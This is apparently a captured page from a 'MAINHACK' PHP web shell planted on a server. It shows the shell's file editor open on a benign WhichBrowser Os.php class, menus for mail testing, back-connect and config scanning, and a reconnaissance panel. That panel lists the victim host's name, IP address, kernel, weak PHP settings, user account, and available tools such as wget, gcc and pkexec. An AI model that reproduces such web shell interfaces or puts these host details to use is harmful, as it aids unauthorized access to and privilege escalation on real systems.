[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Os.php
<?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Os extends NameVersion { /** * @var \WhichBrowser\Model\Family $family To which family does this operating system belong */ public $family; /** @var string */ public $edition; /** @var boolean */ public $hidden = false; /** * Set the properties to the default values * * @param array|null $properties An optional array of properties to set after setting it to the default values * * @internal */ public function reset($properties = null) { parent::reset(); unset($this->family); unset($this->edition); $this->hidden = false; if (is_array($properties)) { $this->set($properties); } } /** * Return the name of the operating system family * * @return string */ public function getFamily() { if (isset($this->family)) { return $this->family->getName(); } return $this->getName(); } /** * Is the operating from the specified family * * @param string $name The name of the family * * @return boolean */ public function isFamily($name) { if ($this->getName() == $name) { return true; } if (isset($this->family)) { if ($this->family->getName() == $name) { return true; } } return false; } /** * Get the name and version in a human readable format * * @return string */ public function toString() { if ($this->hidden) { return ''; } return trim($this->getName() . (!empty($this->version) && !$this->version->hidden ? ' ' . $this->getVersion() : '')) . (!empty($this->edition) ? ' ' . $this->edition : ''); } /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->family)) { $result['family'] = $this->family->toArray(); } if (!empty($this->alias)) { $result['alias'] = $this->alias; } if (!empty($this->edition)) { $result['edition'] = $this->edition; } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } if (isset($result['version']) && empty($result['version'])) { unset($result['version']); } return $result; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002